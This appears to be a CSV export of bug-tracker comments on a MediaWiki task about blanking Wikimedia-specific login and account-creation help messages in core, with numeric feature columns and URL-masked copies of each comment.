210326,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Great. So that I need to go and copy/paste the messages on TranslateWiki.net just because they were moved&renamed to be prefixed with “wmf-” (and in case this wouldn’t be enough unnecessary work, http://translatewiki.net/wiki/MediaWiki:Createacct-imgcaptcha-help/cs was deleted, so that I couldn’t even copy&paste (since I cannot view deleted revisions) and had to translate it once more from scratch). Couldn’t the existing translations have been moved as well? Just saying.",,,1370506005,,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,5.0,1.0,2.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,14.0,0.0,4.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,4.0,1.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,11.0,6.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,6.0,14.0,1.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,4.035294117647059,0.8,"Great. So that I need to go and copy/paste the messages on TranslateWiki.net just because they were moved&renamed to be prefixed with “wmf-” (and in case this wouldn’t be enough unnecessary work, URL was deleted, so that I couldn’t even copy&paste (since I cannot view deleted revisions) and had to translate it once more from scratch). Couldn’t the existing translations have been moved as well? Just saying."
210320,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #13)
> Well, I am lost. I hope that someone will compile a list of the end changes

For WMF wikis, the three links in
<https://www.mediawiki.org/wiki/Account_creation_user_experience/Testing#Providing_help_links>

For a regular MediaWiki install, the only help link that isn't blank by default is Help:Logging_in , mentioned in https://www.mediawiki.org/wiki/Manual:Page_customizations",,,1369167354,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.425531914893617,0.8085106382978723,"(In reply to comment #13)
QUOTE

For WMF wikis, the three links in
<URL

For a regular MediaWiki install, the only help link that isn't blank by default is Help:Logging_in , mentioned in URL"
210314,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"plus'd it (not in the G kinda way).

CC'ing Reedy so it is on his radar for Monday's deployment.

Setting back to REOPENED until the backport is done (just so we don't lose it between now and then).

Thanks!",,,1368807015,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,17.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3076923076923075,0.7884615384615384,"plus'd it (not in the G kinda way).

CC'ing Reedy so it is on his radar for Monday's deployment.

Setting back to REOPENED until the backport is done (just so we don't lose it between now and then).

Thanks!"
210306,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"E3 requesting backport to wmf4 (only) with Gerrit change #64254 so this change
to the new Create account form can accompany the wmf4 roll-out. Low-risk since
the new forms are opt-in.",,,1368758216,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,5.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.522727272727273,0.7727272727272727,"E3 requesting backport to wmf4 (only) with Gerrit change #64254 so this change
to the new Create account form can accompany the wmf4 roll-out. Low-risk since
the new forms are opt-in."
210300,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/64254 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1368758105,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df)
210296,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Merged, so I assume this is fixed.",,,1368742151,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,"Merged, so I assume this is fixed."
210291,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/64204 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1368739382,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df)
210286,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"That would be great. We will need something at meta, whether it be the specific WMF components, or a summary, and a direction to mw.  Well, depending on my (mis)understanding of the above.",,,1368070506,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0.0,2.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.7142857142857144,0.8095238095238095,"That would be great. We will need something at meta, whether it be the specific WMF components, or a summary, and a direction to mw.  Well, depending on my (mis)understanding of the above."
210280,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

(In reply to comment #14)
> (In reply to comment #13)
> > Well, I am lost. I hope that someone will compile a list of the end changes,
> > of
> > what admins at wikis are going to need to be told (not guess or need to
> > search), and some graphic examples sound as they would be worthwhile.  Also
> > something that global sysops and stewards can just read and understand. 
> > There
> > are enough changes going on for stewards to comprehend and manage without
> > extra
> > difficulty being imposed by convolutions.
> 
> I'll post instructions with screenshots that are clearer, before we turn on
> the
> new versions as defaults, and circulate them as best I can.

To clarify (S Page asked me) I mean posting on-wiki, probably either Meta or MediaWiki.org.",,,1368063156,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,6.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,6.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.090909090909091,0.5151515151515151,"**swalling** wrote:

(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To clarify (S Page asked me) I mean posting on-wiki, probably either Meta or MediaWiki.org."
210273,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

(In reply to comment #13)
> Well, I am lost. I hope that someone will compile a list of the end changes,
> of
> what admins at wikis are going to need to be told (not guess or need to
> search), and some graphic examples sound as they would be worthwhile.  Also
> something that global sysops and stewards can just read and understand. 
> There
> are enough changes going on for stewards to comprehend and manage without
> extra
> difficulty being imposed by convolutions.

I'll post instructions with screenshots that are clearer, before we turn on the new versions as defaults, and circulate them as best I can.",,,1368061177,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,6.0,10.0,13.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,3.380952380952381,0.6349206349206349,"**swalling** wrote:

(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'll post instructions with screenshots that are clearer, before we turn on the new versions as defaults, and circulate them as best I can."
210267,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"Well, I am lost. I hope that someone will compile a list of the end changes, of what admins at wikis are going to need to be told (not guess or need to search), and some graphic examples sound as they would be worthwhile.  Also something that global sysops and stewards can just read and understand.  There are enough changes going on for stewards to comprehend and manage without extra difficulty being imposed by convolutions.",,,1368060269,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,1.0,2.0,0.0,3.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,15.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,2.0,2.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,6.0,1.0,6.0,3.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,3.0,15.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,4.116279069767442,0.7558139534883721,"Well, I am lost. I hope that someone will compile a list of the end changes, of what admins at wikis are going to need to be told (not guess or need to search), and some graphic examples sound as they would be worthwhile.  Also something that global sysops and stewards can just read and understand.  There are enough changes going on for stewards to comprehend and manage without extra difficulty being imposed by convolutions."
210260,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(the Gerrit bot didn't notice https://gerrit.wikimedia.org/r/#/c/61395/ , Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df )

The gist of the Gerrit changes is
* createacct-helpusername (slight name change) is blank by default
* createacct-imgcaptcha-help is blank by default
The messages for these and the URLs they incorporate moved to the WMF-specific extension WikimediaMessages.

userlogin-helplink and the helplogin-url it incorporates remain in core",,,1367988873,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,23.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.734177215189874,0.6835443037974683,"(the Gerrit bot didn't notice URL , Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df )

The gist of the Gerrit changes is
* createacct-helpusername (slight name change) is blank by default
* createacct-imgcaptcha-help is blank by default
The messages for these and the URLs they incorporate moved to the WMF-specific extension WikimediaMessages.

userlogin-helplink and the helplogin-url it incorporates remain in core"
210252,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,Related URL: https://gerrit.wikimedia.org/r/62570 (Gerrit Change I28b0079b971e5f6cf5196d5581bbfd7a3ac405f9),,,1367908346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I28b0079b971e5f6cf5196d5581bbfd7a3ac405f9)
210244,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

%%%*** Bug 47705 has been marked as a duplicate of this bug. ***%%%",,,1367388199,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.34375,0.5625,"**swalling** wrote:

%%%*** Bug 47705 has been marked as a duplicate of this bug. ***%%%"
210239,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

%%%*** Bug 47704 has been marked as a duplicate of this bug. ***%%%",,,1367388158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.34375,0.5625,"**swalling** wrote:

%%%*** Bug 47704 has been marked as a duplicate of this bug. ***%%%"
210233,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:

Based on consultation with S Page, Matt Flaschen, and Ori, I've changed the bug title to reflect the soluton we've hit on. Here's the summary version:

* Wikimedia-specific messages such as the username policy will be blank by default and migrated to Extension:WikimediaMessages for localization
* There may still be some red links that need local customization, per comment 1, but they will be limited to Wikimedia communities that could conceivably make good use of such red links and have active communities to deal with them, with our help

I'm going to mark a few other bugs related as duplicate of this, due to the new title which encompasses them as well.",,,1367388065,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,1.5,0.0,0.0,0.5,0.0,8.0,1.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.5,2.5,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,3.5,0.0,0.5,0.0,1.5,0.0,11.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,3.5,2.0,7.5,0.0,2.5,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.5,12.0,4.0,0.0,0.0,0.0,4.5,0.0,2.0,0.5,1.5,0.5,0.0,0.0,0.0,4.071126760563381,0.7731388329979879,"**swalling** wrote:

Based on consultation with S Page, Matt Flaschen, and Ori, I've changed the bug title to reflect the soluton we've hit on. Here's the summary version:

* Wikimedia-specific messages such as the username policy will be blank by default and migrated to Extension:WikimediaMessages for localization
* There may still be some red links that need local customization, per comment 1, but they will be limited to Wikimedia communities that could conceivably make good use of such red links and have active communities to deal with them, with our help

I'm going to mark a few other bugs related as duplicate of this, due to the new title which encompasses them as well."
210228,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #6)
> https://www.mediawiki.org/wiki/Manual:Page_customizations lists all the pages
> that a wiki already needs to create to avoid red links. (I only found this
> page
> just now, it is unfortunate that the installation instructions don't mention
> it.)  I added the three urls introduced by the new forms there, it will
> change
> as we work through these bugs.

Thank you for the link. I hope you don't want me to make a list, but those pages 1) are not comparable to such a specific thing as a username policy or captcha help page, 2) are mostly not even shown as red links, 3) are not in the way like these red links on an important page like UserLogin.
The only exception is edithelppage, which you removed on en.wiki.

> 
> These message URLs solve issues with the login and create account forms that
> some non-WMF wikis have as well. If we make them blank by default it's less
> apparent how those wikis can deliver the better experience. It's a tradeoff.

I don't see any tradeoff. In particular, createacct-captcha-help-url linking to a nonexisting page really means laughing at people.
In general, links are where you expect links to be (sidebar, footer) and it's always ""apparent"" how to add more elsewhere: it's what we have MediaWiki pages for, you just find a message where you want the link and edit it. The current new interface actually makes it harder, because it adds a separate system message, instead of letting you edit the message next to which you want to add your link as normally done in MediaWiki.",,,1367303425,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,5.333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,3.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,7.0,9.666666666666666,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,7.0,2.0,2.0,2.0,3.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.666666666666667,2.0,7.666666666666667,1.6666666666666667,1.6666666666666667,7.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,1.6666666666666667,0.0,7.0,9.666666666666666,4.333333333333333,0.0,1.0,0.0,7.0,0.0,2.3333333333333335,2.6666666666666665,0.3333333333333333,1.0,1.0,0.0,0.0,3.628205128205128,0.6794871794871794,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for the link. I hope you don't want me to make a list, but those pages 1) are not comparable to such a specific thing as a username policy or captcha help page, 2) are mostly not even shown as red links, 3) are not in the way like these red links on an important page like UserLogin.
The only exception is edithelppage, which you removed on en.wiki.

QUOTE
QUOTE
QUOTE
QUOTE

I don't see any tradeoff. In particular, createacct-captcha-help-url linking to a nonexisting page really means laughing at people.
In general, links are where you expect links to be (sidebar, footer) and it's always ""apparent"" how to add more elsewhere: it's what we have MediaWiki pages for, you just find a message where you want the link and edit it. The current new interface actually makes it harder, because it adds a separate system message, instead of letting you edit the message next to which you want to add your link as normally done in MediaWiki."
210222,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"To be specific, the three URLs assumed by the new login and create account ""VForm""s are
* createacct-helpusername-url discussed in bug 47704
* helplogin-url
* createacct-captcha-help-url (only appears if the wiki is using FancyCaptcha)

https://www.mediawiki.org/wiki/Manual:Page_customizations lists all the pages that a wiki already needs to create to avoid red links. (I only found this page just now, it is unfortunate that the installation instructions don't mention it.)  I added the three urls introduced by the new forms there, it will change as we work through these bugs.

These message URLs solve issues with the login and create account forms that some non-WMF wikis have as well. If we make them blank by default it's less apparent how those wikis can deliver the better experience. It's a tradeoff.",,,1367268935,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,0.5,5.0,1.0,0.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,2.5,0.0,6.0,7.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,6.5,1.0,3.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,1.0,1.0,0.0,0.0,17.0,0.0,2.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,6.0,2.0,6.5,2.5,1.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,7.5,3.0,0.0,0.5,0.0,6.0,0.0,1.5,1.0,0.5,0.5,1.0,0.0,0.0,3.8841463414634143,0.7621951219512195,"To be specific, the three URLs assumed by the new login and create account ""VForm""s are
* createacct-helpusername-url discussed in bug 47704
* helplogin-url
* createacct-captcha-help-url (only appears if the wiki is using FancyCaptcha)

URL lists all the pages that a wiki already needs to create to avoid red links. (I only found this page just now, it is unfortunate that the installation instructions don't mention it.)  I added the three urls introduced by the new forms there, it will change as we work through these bugs.

These message URLs solve issues with the login and create account forms that some non-WMF wikis have as well. If we make them blank by default it's less apparent how those wikis can deliver the better experience. It's a tradeoff."
210216,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,I commented laying out options for the username link at https://bugzilla.wikimedia.org/show_bug.cgi?id=47704#c12 .,,,1367268215,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.166666666666667,1.0,I commented laying out options for the username link at URL .
210210,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #3)
> This seems related to bug 47704.

